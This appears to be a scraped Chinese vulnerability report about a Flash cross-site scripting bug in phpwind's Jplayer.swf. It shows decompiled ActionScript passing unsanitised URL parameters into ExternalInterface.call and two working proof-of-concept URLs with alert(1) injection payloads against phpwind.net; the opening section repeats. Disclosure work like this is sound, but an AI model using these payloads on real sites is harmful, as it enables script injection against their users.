VULHUB ™

<p>1、漏洞文件为：<a href="http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf" rel="nofollow">http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf</a><br><br>2、反编译后看代码：</p><pre class=""><code>this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");<br style="margin: 0px; padding: 0px;"> ……<br style="margin: 0px; padding: 0px;"> private function init(_arg1:TimerEvent):void{<br style="margin: 0px; padding: 0px;"> this.myInitTimer.stop();<br style="margin: 0px; padding: 0px;"> if (ExternalInterface.available){<br style="margin: 0px; padding: 0px;"> ……<br style="margin: 0px; padding: 0px;"> ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));<br style="margin: 0px; padding: 0px;"> };<br style="margin: 0px; padding: 0px;">...

<p>1、漏洞文件为：<a href="http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf" rel="nofollow">http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf</a><br><br>2、反编译后看代码：</p><pre class=""><code>this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");<br style="margin: 0px; padding: 0px;"> ……<br style="margin: 0px; padding: 0px;"> private function init(_arg1:TimerEvent):void{<br style="margin: 0px; padding: 0px;"> this.myInitTimer.stop();<br style="margin: 0px; padding: 0px;"> if (ExternalInterface.available){<br style="margin: 0px; padding: 0px;"> ……<br style="margin: 0px; padding: 0px;"> ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));<br style="margin: 0px; padding: 0px;"> };<br style="margin: 0px; padding: 0px;"> }</code></pre><p><br>3、我们看到在上面的代码中jQuery变量是由loaderInfo.parameters.jQuery和loaderInfo.parameters.id两个外部参数拼接而成的，并且没有进行任何的处理直接带入到ExternalInterface.call中。<br>4、可以构造两个POC，为下面，所以是两处xss：<br><br><a href="http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert" rel="nofollow">http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert</a>(1))}catch(e){}//<br><a href="http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id=" rel="nofollow">http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id=</a>'))}catch(e){alert(1)}//<br><br></p>